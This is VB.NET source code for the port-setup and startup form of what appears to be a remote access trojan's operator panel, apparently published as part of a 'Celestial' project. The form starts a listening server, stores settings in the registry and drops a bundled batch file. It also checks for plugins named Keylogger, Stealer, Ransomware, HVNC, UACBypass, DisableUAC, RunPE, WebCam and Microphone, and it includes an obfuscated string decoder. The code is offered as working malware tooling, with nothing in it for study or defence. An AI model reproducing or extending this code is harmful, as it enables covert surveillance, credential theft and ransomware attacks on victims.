205 lines
8.3 KiB
VB.net
205 lines
8.3 KiB
VB.net
Imports System.ComponentModel
|
|
Imports System.IO
|
|
Imports System.Net
|
|
Imports Microsoft.VisualBasic.CompilerServices
|
|
Imports MySql.Data.MySqlClient
|
|
|
|
Public Class Port
|
|
|
|
Public Sub New()
|
|
InitializeComponent()
|
|
|
|
SettingsHelper.LoadFromRegistry()
|
|
|
|
Opacity = 0
|
|
FadeIn(Me, 5)
|
|
Guna2TextBox1.Select()
|
|
End Sub
|
|
|
|
|
|
Public Async Sub connect()
|
|
Try
|
|
Await Task.Delay(5000)
|
|
Main.S = New Server
|
|
Dim listener As New Threading.Thread(New Threading.ParameterizedThreadStart(AddressOf Main.S.Start))
|
|
listener.Start(SettingsHelper.Port)
|
|
listener.Join()
|
|
|
|
SettingsHelper.MSGS = +1
|
|
LVLog("Listening " & SettingsHelper.Port, Color.Green)
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
Private Sub Port_Closing(sender As Object, e As CancelEventArgs) Handles Me.Closing
|
|
Try
|
|
Environment.Exit(0)
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub Port_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
|
|
|
|
|
Try
|
|
If Not IO.Directory.Exists(Path.Combine(Application.StartupPath, "Sounds")) Then
|
|
IO.Directory.CreateDirectory(Path.Combine(Application.StartupPath, "Sounds"))
|
|
End If
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
|
|
Try
|
|
Dim batPath As String = Path.Combine(Application.StartupPath, "Fixer V6.bat")
|
|
If Not File.Exists(batPath) Then File.WriteAllText(batPath, My.Resources.Fixer)
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
|
|
Try
|
|
Dim IntroPath As String = Path.Combine(Application.StartupPath, "Sounds", "Intro.wav")
|
|
If Not File.Exists(IntroPath) Then File.WriteAllBytes(IntroPath, My.Resources.Intro)
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
|
|
Try
|
|
Dim ChatWav As String = Path.Combine(Application.StartupPath, "Sounds", "Chat.wav")
|
|
If Not File.Exists(ChatWav) Then File.WriteAllBytes(ChatWav, My.Resources.Chat)
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
|
|
|
|
Try
|
|
Guna2TextBox2.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "License", Nothing)
|
|
|
|
If My.Computer.Registry.GetValue(SettingsHelper.RegSave, "NoteF", Nothing) = "True" Then
|
|
Guna2ToggleSwitch1.Checked = True
|
|
Else
|
|
Guna2ToggleSwitch1.Checked = False
|
|
End If
|
|
|
|
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Port", Nothing) = Nothing Then
|
|
Guna2TextBox1.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Port", Nothing)
|
|
End If
|
|
|
|
If Not My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Key", Nothing) = Nothing Then
|
|
Guna2TextBox4.Text = My.Computer.Registry.GetValue(SettingsHelper.RegSave, "Key", Nothing)
|
|
End If
|
|
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
|
|
End Sub
|
|
|
|
Public Shared Function LaCho7ezCVhet(ByVal proj As String, ByVal key As String)
|
|
Dim Txt As String = ""
|
|
For i As Integer = 1 To proj.Length
|
|
Dim temp As Integer = AscW(GetChar(proj, i)) - AscW(GetChar(key, i Mod key.Length + 1))
|
|
Txt += ChrW(temp)
|
|
Next
|
|
Return Txt
|
|
End Function
|
|
|
|
|
|
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
|
Try
|
|
SettingsHelper.Port = Guna2TextBox1.Text
|
|
SettingsHelper.KEY = Guna2TextBox4.Text
|
|
SettingsHelper.Blocked = New List(Of String)
|
|
SettingsHelper.User = Environment.UserName
|
|
|
|
SettingsHelper.LicenseExpire = "∞"
|
|
|
|
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\" & SettingsHelper.RegSave, "License", Guna2TextBox2.Text)
|
|
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\" & SettingsHelper.RegSave, "Port", Guna2TextBox1.Text)
|
|
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\" & SettingsHelper.RegSave, "Key", Guna2TextBox4.Text)
|
|
|
|
If Guna2ToggleSwitch1.Checked Then
|
|
SettingsHelper.NOTEF = True
|
|
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\" & SettingsHelper.RegSave, "NoteF", "True")
|
|
Else
|
|
SettingsHelper.NOTEF = False
|
|
My.Computer.Registry.SetValue("HKEY_CURRENT_USER\" & SettingsHelper.RegSave, "NoteF", "False")
|
|
End If
|
|
|
|
For Each str2 In Strings.Split("ActiveWindows.dll,Chat.dll,Chromium.dll,Clipboard.dll,Cmstp-Bypass.dll,DisableUAC.dll,FileManager.dll,FilesSearcher.dll,HBrowser.dll,HiddenApps.dll,HRDP.dll,HVNC.dll,HVNCMemory.dll,Informations.dll,Keylogger.dll,Maps.dll,MessageBox.dll,Microphone.dll,Ngrok-Installer.dll,Options.dll,Pastime.dll,Performance.dll,ProcessManager.dll,Programs.dll,Ransomware.dll,Recovery.dll,Regedit.dll,RemoteDesktop.dll,ReverseProxy.dll,RunPE.dll,ServiceManager.dll,Shell.dll,StartupManager.dll,Stealer.dll,System.Management.Automation.dll,TCPConnections.dll,UACBypass.dll,VB.NET Compiler.dll,VoiceChat.dll,WebCam.dll,WindowsUpdate.dll,WSound.dll", ",")
|
|
If Not IO.File.Exists("Plugins\" & str2) Then
|
|
MsgBox("Missing dll >> " & str2, MsgBoxStyle.ApplicationModal, Nothing)
|
|
End If
|
|
Next
|
|
|
|
Messages.F = Main
|
|
Main.Timer_Status.Start()
|
|
ListViewDoubleBuffer.Enable(Main.Lv1)
|
|
ListViewDoubleBuffer.Enable(Main.Lv2)
|
|
ListViewDoubleBuffer.Enable(Main.Lv3)
|
|
ListViewDoubleBuffer.Enable(Main.Lv4)
|
|
connect()
|
|
Hide()
|
|
Process.Start("https://t.me/CelestialProjectNews")
|
|
Main.Show()
|
|
|
|
Catch ex As Exception
|
|
MessageBox.Show("Error during startup: " & ex.Message, Text, MessageBoxButtons.OK, MessageBoxIcon.Error)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub Guna2TextBox2_KeyDown(sender As Object, e As KeyEventArgs) Handles Guna2TextBox2.KeyDown
|
|
If e.KeyCode = Keys.Enter Then
|
|
e.SuppressKeyPress = True
|
|
|
|
If Guna2GradientButton1.Enabled = True Then
|
|
Guna2GradientButton1.PerformClick()
|
|
End If
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub Guna2TextBox1_TextChanged(sender As Object, e As EventArgs) Handles Guna2TextBox1.TextChanged
|
|
Try
|
|
Dim num As Integer = Conversions.ToInteger(Guna2TextBox1.Text)
|
|
If ((Conversions.ToInteger(Guna2TextBox1.Text) > &HFFFE) Or (Conversions.ToInteger(Guna2TextBox1.Text) < 1)) Then
|
|
Guna2GradientButton1.Enabled = False
|
|
Else
|
|
Guna2GradientButton1.Enabled = True
|
|
End If
|
|
Catch exception1 As Exception
|
|
Guna2GradientButton1.Enabled = False
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub Guna2TextBox1_KeyDown(sender As Object, e As KeyEventArgs) Handles Guna2TextBox1.KeyDown
|
|
If e.KeyCode = Keys.Enter Then
|
|
e.SuppressKeyPress = True
|
|
|
|
If Guna2GradientButton1.Enabled = True Then
|
|
Guna2GradientButton1.PerformClick()
|
|
End If
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub Guna2TextBox4_TextChanged(sender As Object, e As EventArgs) Handles Guna2TextBox4.TextChanged
|
|
Try
|
|
If Guna2TextBox4.Text.Length > 32 Or ((Guna2TextBox4.Text.Length) < 1) Then
|
|
Guna2GradientButton1.Enabled = False
|
|
Else
|
|
Guna2GradientButton1.Enabled = True
|
|
End If
|
|
Catch ex As Exception
|
|
Guna2GradientButton1.Enabled = False
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub Guna2TextBox4_KeyDown(sender As Object, e As KeyEventArgs) Handles Guna2TextBox4.KeyDown
|
|
If e.KeyCode = Keys.Enter Then
|
|
e.SuppressKeyPress = True
|
|
|
|
If Guna2GradientButton1.Enabled = True Then
|
|
Guna2GradientButton1.PerformClick()
|
|
End If
|
|
End If
|
|
End Sub
|
|
End Class |